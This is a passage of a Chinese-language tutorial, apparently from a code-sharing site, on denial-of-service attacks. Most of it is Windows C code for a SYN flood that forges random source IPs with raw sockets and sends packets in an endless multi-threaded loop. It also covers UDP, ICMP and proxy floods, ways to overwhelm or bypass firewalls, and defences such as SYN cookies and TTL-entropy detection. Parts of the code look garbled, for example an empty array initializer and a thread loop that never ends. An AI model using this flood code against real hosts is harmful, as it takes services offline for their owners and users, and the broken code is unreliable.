dos ddos.txt
来自「本文介绍了Dos(Denial of severance 拒绝服务)和Ddos(」· 文本 代码 · 共 334 行 · 第 1/2 页
TXT
334 行
8-2=8+10
上式之所以成立,是因为2和10 对模数12是互补的(2+10=12)
那没,在计算机中,又是用什么来作为模数的了?计算机中,机器表示数据的字节是固定的。对于n位数来说,模数的大小是:n为数全为1,最后一位再加一。换为二进制,若有n位整数,它的模数为 ;若为n位小数,小数点前一位为符号位,它的模数为2。据此,我们可以理解那些计算效验和的代码片段。
最后,我们还要再写一些东西让程序跑起来:
//攻击线程
DWORD WINAPI Statr(void)
{
SOCKET sock; //攻击中sock的实体
WSADATA WSAData;
SOCKADDR_IN syn_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
TSDHEADER psdHeader;
const char *addr = "127.0.0.1";//攻击的IP地址
int port = 135;//要攻击的端口
if(WSAStartup(MAKEWORD(2,2),&WSAData))
{
return false;
} //启动错误
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
return false;
} //sock错误
BOOL flag=true;
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
{
return false;
} //sock错误
int Time =888;
if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
{
return false;
} //sock错误
syn_in.sin_family = AF_INET;
syn_in.sin_port = htons(port);
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
然后,开始填充报表
while(TRUE)
{
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.SourceIP=htonl(GetTickCount()*1986);
ipHeader.DestIP=inet_addr(addr);
//填充Tcp首部
int SourcePort =GetTickCount()*1986%514;
tcpHeader.th_dport=htons(port);
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(620);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
//填充TCP伪首部用来计算TCP头部的效验和
psdHeader.saddr=ipHeader.SourceIP;
psdHeader.daddr=ipHeader.DestIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
计算这个报表的效验和
//计算校验和
char SendBuff[100]=;
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
发送数据包
//发送数据包
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
if(Syn==SOCKET_ERROR)
{
return false;
}
}
closesocket(sock);
WSACleanup();
return true;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{ //启动线程,我们定义为10。具体根据机器和网络情况修改
for(int i=0;i<10;i++)
{
hFind
[I-1]=createThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
i--;
}
return 0;
}
这样,完成了一个简单的dos攻击的过程。如果想修改成ddos或者代有输入输出以及IDE界面的软件,都是可能的。
我们在文章一开头就提及dos ddos是依靠网络本身定义的。从我们的分析和代码可以看出来,我们使用的都是最为基本的函数,类,库。
事实上,如果仔细观察报表,就可以看到一些东西。比方说ip的“寿命”,那么我们是否可以通过修改寿命数据,使得数据包永远都不会消失;在tcp报文中有一端空数据,是否可以用来承载攻击数据。我以后再想吧。
还有,通过学习ip报文我们可以看到,我们也是可以修改发送方的ip地址的。这个方法和修改接受方的ip地址是十分相似的。
2)发送udp数据包, 发送icmp数据包(ping)
如果我们看一下UDP报文,很多问题就可以解释。
源端口# 目的端口#
长度 检查和
应用数据(报文)
所谓的udp攻击就是不断发送无用的udp报文,使得服务器处于一个繁忙的状态。
相比syn 这显然缺少了一个有效占据资源的机能,所以我们一般不写这样的代码。如果要写,也是用sendto .
而icmp攻击,我理解就是用ping的方法进行对被攻击者的资源占据。这次依然用到的是sendto 。这是我看别人写的代码发现的。但是sendto 不是用来发送报文的吗?具体怎么实现的我没有细看。显然,icmp也具有udp攻击的弱点,那就是对己方资源的消耗巨大。
3)代理服务器攻击
当我们通过代理服务器请求目标主机的某个页面后,迅速和代理服务器断开来连接,可是代理服务器不会马上断开,还会在一段时间内请求目标。如果我们在短时间内发出高密度的请求;同时被请求的网页又是具有数据库的动态网页,就可以立刻给被攻击者造成数据堵塞。
这里非常要注意到的,为什么我们请求的最好是具有数据库的动态网页了。因为这些网业每次请求数据的时候都会在整个数据库中进行一次搜索。这是极其占据机器内存的。
3.对软件防火墙的分析
winxp_sp2防火墙可以过滤掉一些ddos攻击包,当然了,这并不代表你发出的 syn包它接受不道,而是对方依赖防火墙可以不产生这种半连接状态。就防火墙,我想应该有两种应对方法
1) 直接Flood防火墙,使防火墙卡死;
2) 想办法绕过防火墙。
对于前者,我们做了一次类似的测试
Syn-flooding 发送udp数据包 发送icmp数据包(ping) 代理服务器攻击
(还是没有数据)
同时,如果我们想解决后者,就要分析一下现在较为成熟的软放火墙技术(关于硬件防火墙我不很了解)
1)syn_cookie技术
当服务器收到TCP SYN报文,通常做法是马上为这次连 接分配一个缓冲区,建立半开连接,并存储连接状态,直到 三次握手完成。TCP SYN攻击就是利用了这种做法,在分配了缓冲区后并不完成三次握手,使得缓冲区无法释放,从而消耗了系统资源。SYN-cookie技术的具体做法是:服务器收到TCP SYN报文,不按通常做法那样为该连接分配一个缓冲区,而是只计算生成cookie,然后作为SYN ACK报文的TCP初始序列号,随该报文返回。该做法的关键是服务器端并不为此次连接存储任何信息,这属于无状态的握手。当服务器收到一个来自非活动套接字的ACK报文时,系统将检查该报文的确认号(对 应于 SYN ACK 报文的初始序列号加 1)是否含有相关合法cookie,如果cookie合法,系统将为此分配缓冲区,正式建立连接。否则丢弃该报文。
SYN-cookie技术使TCP三次握手成为一种无状态握手有效的解决了系统资源消耗现象,同时能有效识别出合法TCP ACK报文。而时间参数t的引入,有效的防止了重放攻击。在后面的具体实行中,密钥k只能由防火墙生成,并分发给边界路由器用于检验cookie合法性。还有时间参数t也需要防火墙和各边界路由器校准同步。
2)计异常检测技术
我们采用了基于报文TTL( 指的就是寿命)字段下的源IP地址统计分布特性的异常检测方式,其基于以下假设:
(1)当报文在两主机间传送,如果路由相同,则跳数相同,这意味着初始TTL的减少值相同;
(2)在较短时间内发送的报文,路由基本相同;
(3)路由并不经常改变;
(4)即使路由改变了,也不会引起显著的跳数改变,即接收端的TTL字段改变不大。
以上四点可归结为路由的相对稳定性,即来源于某特定IP地址的报文,其IP首部TTL字段相对稳定。于是对于特定TTL字段,其对应的源IP地址的统计分布相对固定。当某攻击源发送攻击报文时,虽然该报文伪造源IP地址,但其所经过的路由路径(其决定了某个 TTL值)只由真实来源决定,因
此相对固定。所以这会造成报文流在某个TTL值下所对应的源IP地址的统计分布特性发生变化。于是相应的,具有该TTL值的报文更有理由被怀疑是攻击报文。这里采用信息熵来表示特定TTL值下的源IP地址统计分布特性。我们以此为特定TTL值下某源IP地址的条件出现概率。
在此,我们可以把在某段连续报文流中特定TTL值下某个IP地址的出现频率近似为该IP地址的条件出现概率p。
由此我们可以通过检测该熵值的变化来检测特定TTL值下源IP地址随机分布特性的变化。
当检测到某特定TTL 值下的熵值发生变化,如果熵值变大,表明具有该TTL值的报文,其源IP地址分布更加随机,
我们可以怀疑具有该TTL值的报文有很大一部分是随机伪造
源IP地址的攻击报文,于是在报文过滤时,具有该TTL值的
报文将有更大比例被丢弃;如果熵值变小,我们可以认为该TTL值对应的某些IP地址增加了报文发送量,这将被怀疑成这些IP地址正发送具有真实源IP地址攻击流,过滤器也应该更大比例的丢弃具有该TTL值的报文。遵循以上判断方法,就能在攻击检测中提取攻击特征,并生成过滤规则提交给过滤
器。
3)红名单技术
与通常的黑名单的作用相反,“红名单”技术基本思想是设立已经建立的TCP连接的标识列表,在报文过滤时,对经过的TCP报文提取其TCP连接标识,如果该标识属于上述列表,则通过该报文,否则将其丢弃。一个TCP连接由收发双方的IP地址和端口号共四个值96bit惟一确定,我们可以将其作为标识。或者也可将这四个值串联,生成短hash(就是一种独立唯一的生成方法)摘要作为标识。我们可以将已经建立的TCP连接的标识列于表(红名单)中,如果某TCP报文所针对TCP 连接不在“红名单”中,则可判为是非法报文,被抛弃掉。
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?